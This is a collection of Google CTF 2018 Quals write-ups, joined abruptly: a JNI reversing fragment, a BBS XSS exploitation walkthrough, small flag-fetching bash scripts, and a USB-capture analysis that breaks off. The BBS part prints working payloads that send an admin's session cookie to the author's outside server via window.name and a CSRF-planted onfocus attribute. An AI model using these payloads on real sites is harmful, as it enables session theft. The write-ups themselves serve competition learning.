0LL); v26 = object_array; v27 = __OFSUB__(arg2_1_length, v24); v28 = arg2_1_length - v24; v40 = object_array; if ( !((unsigned __int8)((v28 < 0) ^ v27) | (v28 == 0)) ) { do { LODWORD(v29) = ((int (__fastcall *)(JNI **, void*, _QWORD))(*env)->GetObjectArrayElement)(env, arg2_1, v24 + v14); ((void (__fastcall *)(JNI **, void*, _QWORD, void*))(*env)->SetObjectArrayElement)(env, v26, v14++, v29); } while ( v28 != v14 ); } if ( array2_1 ) { if ( array2_1 == 1 ) { LODWORD(v30) = ((int (__fastcall *)(JNI **, void*, void*, void*))(*env)->CallStaticObjectMethod)( env, class_def, method_table[array2_0], string_table[array2_0 + 2]); result = sub_1CA0(class_def, &v40, v30, array2_0, array2_2); } else { result = 0LL; } } else { LODWORD(method) = ((int (__fastcall *)(JNI **, void*, void*, void*))(*env)->GetMethodID)(env, class_def, method_table[array2_0], string_table[array2_0 + 2]); LODWORD(arg2_1_2) = ((int (__fastcall *)(JNI **, void*, signed void*))(*env)->GetObjectArrayElement)( env, arg2_1, 2LL); result = sub_1480(&v40, class_def, arg2_1_2, method, array2_0, array2_2); } v35 = *MK_FP(__FS__, 40LL); return result;}``` The `init_data`-method looks like this:```void* init_data(){ ... v2 = 1; do { byte_4010[v2] += byte_4010[v2 - 1]; ++v2; } while ( v2 < 20 ); class_table[0] = (__int64)byte_4010; v3 = 1; do { byte_4030[v3] += byte_4030[v3 - 1]; ++v3; } while ( v3 < 32 ); class_table[1] = (__int64)byte_4030; ...``` For the init-data, we can see, that for a certain block every byte is summed up with the previous byte. We duplicated this with a simple script and got the following strings:```RandomMessageDigestCipherSecretKeySpec<init>getInstanceupdatedigestgetInstance<init>initdoFinalSHA-256AES/ECB/NoPaddingAES```From the `Java_com_google_ctf_shallweplayagame_N__1`we could figure out that the first parameter is used as a decider what class to take. The second parameter is an array where the first element is what method to call. The rest of the parameters are the parameters for the method. We actually do not really care about the second or third array-elements of the second parameter, because we deduced their meaning later on through common sense. The indices of the classes start at the decoded strings at index 0. The methods at index 4 and some other strings at index 12. Looking back at the Java code we can simplify the code to:```javabyte[] arr = new byte[32];byte[] f2333r = new byte[]{(byte) -61, (byte) 15, (byte) 25, (byte) -115, (byte) -46, (byte) -11, (byte) 65, (byte) -3, (byte) 34, (byte) 93, (byte) -39, (byte) 98, (byte) 123, (byte) 17, (byte) 42, (byte) -121, (byte) 60, (byte) 40, (byte) -60, (byte) -112, (byte) 77, (byte) 111, (byte) 34, (byte) 14, (byte) -31, (byte) -4, (byte) -7, (byte) 66, (byte) 116, (byte) 108, (byte) 114, (byte) -122};new Random((((((((1416127776L + 1869507705L) + 544696686L) + 1852403303L) + 544042870L) + 1696622963L) + 544108404L) + 544501536L) + 1886151033L).nextBytes(arr); for(int i = 0; i < 1000000; i++){ System.out.println(i); try { MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); messageDigest.update(arr); arr = messageDigest.digest(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); }}try { Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding"); SecretKeySpec spec = new SecretKeySpec(arr, "AES"); cipher.init(2, spec); System.out.println(new String(cipher.doFinal(f2333r)));} catch (NoSuchAlgorithmException | BadPaddingException | NoSuchPaddingException | IllegalBlockSizeException | InvalidKeyException e) { e.printStackTrace();}```The `SHA-256`, `AES/ECB/NoPadding` and `AES` parameters we guessed as they are common parameters for these functions. We started this on a normal computer and got the output `CTF{ThLssOfInncncIsThPrcOfAppls}` within a few seconds. ## Rant: Non-Portability of `Random` This challenge should normally have ended after we let the program run on our Android devices or the emulator, but due to different behaviours of `java.util.Random` the algorithm behaved differently on every single device we tried. The bytes that were saved in the initial byte-array always were different values even though the java-api states differently:```If two instances of Random are created with the same seed, and the same sequence of method calls is made for each, they will generate and return identical sequences of numbers. In order to guarantee this property, particular algorithms are specified for the class Random. Java implementations must use all the algorithms shown here for the class Random, for the sake of absolute portability of Java code. However, subclasses of class Random are permitted to use other algorithms, so long as they adhere to the general contracts for all the methods.```The class that was created was the `Random`-class and not something different. We checked with the debugger. The results were still different, which was infuriating. Note, that Random always behaved the same for each run on the same hardware/emulator, but on different devices it produced different values. This should not happen, but apparently it does.
# Google CTF Quals 2018 BBS This is a writeup of solutions for the BBS web challenge from the Google CTF 2018 Quals event.I'll explore the process of exploiting this website and the two different solutions I came up with to solve it.## Challenge Overview The challenge links us to https://bbs.web.ctfcompetition.com/ with a warning that no memes are allowed.![](https://itszn.com/u/d1d8a9e3a925b63add12ce028e4c245647a5cd38.png) The page has a retro DOS inspired theme. It features a user account system, a message board,and a profile page.The majority of the functionality is implemented on the client side in `assets/app.js`, which is awebpacked javascript app including a URL parsing library. The message board page allows you to post a message and even reply to previous messages using `>>number`.Post replies can be hovered over to load an iframe of the post in question. There is also a report functionality which alerts the admin. The goal seems to be to steal the admin'ssession andread some secret information. ### Message Board When loading the message board, the client runs this code```javascriptfunction load_posts() { $.ajax('/ajax/posts').then((text) => { $('#bbs').html(atob(text)); linkify(); });}``` This sends a GET request to `/ajax/posts`, which gives the HTML for the current posts encoded in base64.The client decodes the base64, and writes the HTML to the webpage without sanitation. However when theuser submits a post, it is sanitized on the server before being saved. So the HTML will be pre-sanitizedbefore being written to the page. `linkify` looks for text matching `>>number` format and creates reply elements for them. Each elementscreates an iframe that loads `/post?p=/ajax/post/<number>`: ```javascriptvar f = document.createElement('iframe');f.id = 'f'+id;$(f).addClass('preview');f.src = '/post?p=/ajax/post/'+id;$(el).parent().append(f);``` Lets explore these two new endpoints. `/ajax/post/<number>` will take a post id and return the contentsencoded in base64. If the post number does not exist or cannot be viewed it returns "Private Post" encodedinstead. The body is still sanitized like before. The `/post` endpoint is purely clientside logic again: ```javascriptfunction load_post() { var q = qs.parse(location.search, {ignoreQueryPrefix: true}); var url = q.p; $.ajax(url).then((text) => { $('#post').html(atob(text)); });}``` We can see that it uses the URL parsing library to parse the search query. The target url is parameter `p`on the resulting object. The client requests that url using jquery's `$.ajax` method. The results is base64 decoded and rendered as HTML. At first glance you might think you can simply encode an XSS payload in base64 on some other CORS enabled site and load it using the ajax call, but you will find there is a Content Security Policy blocking you: ```content-security-policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';``` XMLHttpRequest based ajax calls obey the `connect-src` CSP rule. Since none is set here, the `default-src` is used, only allowing ajax requests on the same origin. We will need to find a to store our base64 payload somewhere on the site. ### Profile Page The profile page allows you to change your password, set a website, and upload a profile picture. ![](https://itszn.com/u/202c4464617f10563c2b0ce2cfe38df22866e714.png) The profile image sticks out as a potential place to store a payload. We cannot directly use it asthe server enforces that it must be a valid PNG, and even resizes it to 64x64 pixels. ### Report Endpoint When clicking report, the client sends a POST request to `/report` with the path to visit.The server requires that the path starts with `/admin/`, but that endpoint is not very useful and justseems broken. However, we can `/admin/../<path>` to instead have the admin visit any other page on the site. ## Building an Exploit We have found a vulnerable endpoint and have a target. Now we need to find somewhere to put our payload.Trying to load the profile image with `/post` endpoint directly won't work as it is not base64 itself.So we will need one more trick to be able to store our base64 payload in the image. ### `.ajax` Parameter Polution Taking a closer look at the URL parsing library included with the app, we see that it returns the URLparameters as an object. If we try the URL parameter object notation, we see that we can controlthe object keys and values. For example: `/post?p[key1]=value1&p[key2][key3]=value2` will result in thisobject:```{ p: { key1: 'value1', key2: { key3: 'value2' } }}``` If you look at the [docs for .ajax](https://api.jquery.com/jquery.ajax/) you can see that it takes eithera single url or an object full of settings. We can now provide that object, and set any setting we want. ### Range Header The trick to grabbing just a small part of our profile image is by setting the `Range` header.This header tells the server to provide just a specific part of a static file. This will not workon dynamic paths and paths that the browser refuses to cache. If we can embed the XSS into the PNG, we can now surgically request it on `/post` like this:```https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=start-end``` ### Embedding XSS Placing the XSS into a valid PNG is actually tricky, since PNGs employ both compression and filtering.We can attempt to defeat the compression by including mostly random pixels. This will be uncompressibleand will likely result in the compressed data being very similar to the uncompressed data. We can also placethe payload at the end of our image and brute force the random pixels until the filtering happens toleave it untouched. So the process is pretty simple:* Generate random data to fill 64x64 image* Place payload at the end* Generate PNG with data and check if our payload is still in it after compression and filtering* Repeat if not For short payloads it works almost instantly. Here is an example payload with alert("hello") embedded near the end: ![](https://itszn.com/u/620a2a8c87e4d627907d33c6afc082a954d0c1dc.png) Visit this link to see it in action: (Read on to see why we use dataType and don't base64 encode) [https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script](https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script) ## Building a Larger Payload The longer our payload is, the harder it is to generate a PNG with it embedded inside.Its even worse if we have to base64 encode the payload as well. Including script tags,we can fit about 7 characters of javascript. This is no good, `document.cookie` alone is longer than that. We need to figure out how tocreate a larger payload. The first thing we can do is ditch the base64 and the script tags. Right now we rely on theclient setting running our payload with `$('#post').html(atob(text))`. However since we controlthe parameters to the ajax call, there is actually a more direct method. Jquery supports a `dataType`parameter which hints it what kind of data will be returned.There is a special case for when `dataType` is set to`"script"`. In this case it will actually executethe response before doing anything else. We can take advantage of this to turn our payload intopure javascript: ```https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=x-y&p[dataType]=script``` Now we can execute around 32 characters of javascript easily. However its still not enough. If we wantto have our payload be something like `location='//abc.yz/'+document.cookie` we need around 36-40 characters. Trying something like `eval(location.hash)` won't work either, since `location.hash` will always startwith the `#`, which will cause a syntax error. I also tried looking at `eval(location.path)`.If we could get the path to be something like `/post/;location='//abc.yz/'+document.cookie` we coulduse it. However, although the server still responds with the same page for any path starting with `/post`,the `app.js` script is loaded relative (`assets/app.js`) and so it 404s. If it instead was`/assets/app.js/` this would have worked. ### Off Domain PayloadAlthough we cannot steal the cookie yet, we can now redirect them to our own domain.This gives us more flexibility in what we can do. I embedded `location="//itszn.com/a"` into a PNG and built this url:```https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/073187dafeb1b8ae4bc71ae4d8f313eb&p[headers][Range]=bytes=12385-12408&p[dataType]=script``` Visiting the url will redirect you to my controlled page. Using this page, I came up with two methods to extract the admin's cookie: ### Solution #1: window.name There is not a lot of information that can be reflected from redirecting a user to a urlwithout being on the same origin.You can store a payload in the query or the hash or other parts of the url, but none of those work inthis case. There is one cross-domain value that we can set: `window.name`. This is a persistent value which iskept for all pages open in a given tab or window. One origin can set it, and another can read it at will.It can also be set for new windows with the name attribute of an iframe or with the `window.open` method. In our case we cannot use iframes since `x-frame-options` header is set to `SAMEORIGIN`. We also cannot use `window.open` since the user has not interacted with our page yet. We are able to manual set it and redirect. The payload we store in it will remain after the location change. To finish the payload, we can embed `eval(name)` into our PNG and build the XSS url:```html<script>window.name="location=`http://itszn.com/pingback/`+document.cookie";location="https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/c00d237b88096add109008243a6941fb&p[headers][Range]=bytes=12400-12409&p[dataType]=script";</script>``` Running this code on `https://itszn.com/a` will set `window.name`, redirect to the second XSS payload, and then redirect back again with the admin's cookie. Sending this to the admin I get a response with the flag: `CTF{yOu_HaVe_Been_b&}` ### Solution #2: CSRF The second method is abusing a bug with the profile page. Once you have set a website, it will thenfill the form with that value when the page is loaded in the future:```html<input type="text" name="website" class="input-block-level" placeholder="Website" value=helloworld>``` This value is sanitized of all quotes and angle brackets, so we cannot escape out of the tag, but sincequotes were not used in the first place, we can create other attributes. As this is an `<input>` tag, the easiest way to get code execution is with `onfocus` and `autofocus`attributes. ```asdf onfocus=alert(1) autofocus```This website payload becomes:```<input type="text" name="website" class="input-block-level" placeholder="Website" value=asdf onfocus=alert(1) autofocus>``` We can steal the cookie without single or double quotes like this:```asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus``` Now we just need to set this website value in the first place. Luckily the website does not have any Cross-Site Request Forgery protection, so we can fake a post request from our own domain. The only issue is that an input named `submit` is required. Thanks to how great browsers are this willreplace the form's native submit function. We can prevent this by saving a reference under a different namebefore adding the submit input to the form:```html<form id="f" action="https://bbs.web.ctfcompetition.com/profile" method="POST" enctype="multipart/form-data"><input type="password" name="password"><input type="password" name="password2"><input name="website" value="asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus"><input type="file" name="avatar"></form><script>f.submitt = f.submit;i=document.createElement('input');i.name="submit";f.append(i);f.submitt();</script>``` Redirecting to this page will cause a CSRF post request to be made installing the XSS payload and also redirect back to the profile page triggering it. All this will send the cookie our way again.
```bash#!/bin/bashcurl -s "https://storage.googleapis.com/gctf-2018-attachments/5a0fad5699f75dee39434cc26587411b948e0574a545ef4157e5bf4700e9d62a" -o letter.zipunzip -q letter.zippdftotext -q challenge.pdfgrep -Eo "CTF{.*}" challenge.txtls | grep -v getflag.sh | xargs rm -r```
```bash#!/bin/bashcurl -s "https://storage.googleapis.com/gctf-2018-attachments/4e69382f661878c7da8f8b6b8bf73a20acd6f04ec253020100dfedbd5083bb39" -o floppy.zipunzip -q floppy.zipbinwalk -eq foo.icogrep -Eo "CTF{.*}" _*/driver.txtls | grep -v getflag.sh | xargs rm -r```
# Letter > https://ctftime.org/writeup/10383 We are given pdf file with censored username and password. However if we select all and copy-paste it to another [file](data.txt) we can see it uncensored.The password is our flag. Flag: `CTF{ICanReadDis}`
**Description** > I have a feeling there is a flag there somewhere **Files given** - [a ZIP file](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/files/feel-it.zip) containing: - `feel-it` **Solution** First let's identify what our `feel-it` file is: $ xxd feel-it.pcap | head 0000000: 0a0d 0d0a a000 0000 4d3c 2b1a 0100 0000 ........M<+..... 0000010: ffff ffff ffff ffff 0200 3600 496e 7465 ..........6.Inte 0000020: 6c28 5229 2043 6f72 6528 544d 2920 6937 l(R) Core(TM) i7 0000030: 2d37 3630 3055 2043 5055 2040 2032 2e38 -7600U CPU @ 2.8 0000040: 3047 487a 2028 7769 7468 2053 5345 342e 0GHz (with SSE4. 0000050: 3229 0000 0300 1f00 4c69 6e75 7820 342e 2)......Linux 4. 0000060: 3133 2e32 2d31 2d74 702d 7831 2d63 6172 13.2-1-tp-x1-car 0000070: 626f 6e2d 3574 6800 0400 1900 4475 6d70 bon-5th.....Dump 0000080: 6361 7020 2857 6972 6573 6861 726b 2920 cap (Wireshark) 0000090: 322e 342e 3200 0000 0000 0000 a000 0000 2.4.2........... We can see the strings "Dumpcap" and "Wireshark". So we have a packet capture file, and we can use (surprisingly) Wireshark to analyse it. ![](https://raw.githubusercontent.com/Aurel300/empirectf/master/writeups/2018-06-23-Google-CTF-Quals/screens/feel-it1.png) We can see many packets Wireshark identified as "USB" and "USBHID". So we are not dealing with network traffic, but some sort of peripheral device connected to a computer. First we should try to identify what device it is. Among the first packets we can see some that are `GET DESCRIPTOR Response STRING`. (packet 12) Manufacturer is confidential (packet 10) and so is product string (packet 14) not to mention serial number This is not terribly useful and clearly some information is hidden from us. Hopefully we can still identify what device it is simply by looking at the data that is being transmitted. If we skim through the packets, we can see a couple that are `SET_REPORT Request` and seem to carry 64 bytes of data in a field called "data fragment". The data carried over these packets seems to grow larger and larger (i.e. less null bytes, more non-null bytes) as time goes on. We can use `tshark` to extract all the data fragments from the packet capture: $ tshark -F pcap -Tfields -e usb.data_fragment -r feel-it.pcap | grep -v "^$"02:00:04:53:49:03:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:55:5502:00:54:42:53:1d:15:1e:00:01:1d:00:41:5e:24:4e:4f:4a:06:00:1e:11:2d:1e:00:3a:0a:19:1b:11:1e:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 ... etc etc (`grep -v "^$"` was used to filter out empty lines, representing packets that do not have a USB data fragment.) Many of the packets seem identical, however. Let's focus on the ones that actually carry data: $ tshark -F pcap -Tfields -e usb.data_fragment -r feel-it.pcap | grep "02:00:54:42:53" 02:00:54:42:53:1d:15:1e:00:01:1d:00:41:5e:24:4e:4f:4a:06:00:1e:11:2d:1e:00:3a:0a:19:1b:11:1e:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:43:57:47:5e:5e:7d:00:22:28:16:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:49:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:49:5e:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:49:5e:4b:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:49:5e:4b:2a:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:49:5e:4b:ea:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:49:5e:cb:2a:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:49:de:4b:2a:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:c9:5e:4b:2a:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:c9:5e:4b:2a:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:de:4b:2a:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:cb:2a:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:ea:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:2e:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:2e:19:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:2e:19:11:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:2e:19:d1:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:2e:d9:11:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:d9:11:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:2e:d9:11:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:d9:11:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:d9:11:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:d1:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:3c:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:3c:3c:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:3c:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:12:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:12:12:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:12:12:05:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:6a:07:11:1b:0a:1e:48:0e:13:11:07:07:00:18:7b:2b:00:49:5e:4b:2a:13:02:19:11:38:01:1d:19:38:0e:12:12:05:3b:c0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 02:00:54:42:53:1d:15:1e:00:01:1d:00:41:5e:24:4e:4f:4a:06:00:1e:11:2d:1e:00:3a:0a:19:1b:11:1e:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 ([file with the extracted data](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/feel-it/data.txt)) This may not be obvious, but the data looks very much like somebody is typing characters into a terminal. The `00` bytes represent the empty space after the command. `c0` is present at the end of most lines, it is probably a cursor character. In general, the line is growing one character at a time. And another strong clue - whenever `c0` is NOT present at the end of the line, we can tell that the cursor is moving back across the already typed text. It is setting the the 2 highest bits of whichever value it is currently hovering over, then when more characters appear, the cursor moves with the rest of the line towards the right. So great, this is somebody typing into a terminal. But what? The data is not in ASCII. We can make some additional observations. Here is a fragment of the data, highlighting the end of the command line, and omitting `00` bytes for clarity. 38:01:1d:19:38:0e:c0 38:01:1d:19:38:0e:3c:c0 38:01:1d:19:38:0e:3c:3c:c0 38:01:1d:19:38:0e:3c:c0 38:01:1d:19:38:0e:c0 38:01:1d:19:38:0e:12:c0 38:01:1d:19:38:0e:12:12:c0 38:01:1d:19:38:0e:12:12:05:c0 38:01:1d:19:38:0e:12:12:05:3b:c0 What happened here? The character `3c` was entered twice. Then it was deleted, and replaced with two `12` bytes. The user was typing a word with a doubled letter, then replaced it with a different doubled letter. Perhaps fat fingers, something like: some text some text some text sw_ some text some text some text swr_ some text some text some text swrr_ some text some text some text swr_ some text some text some text sw_ some 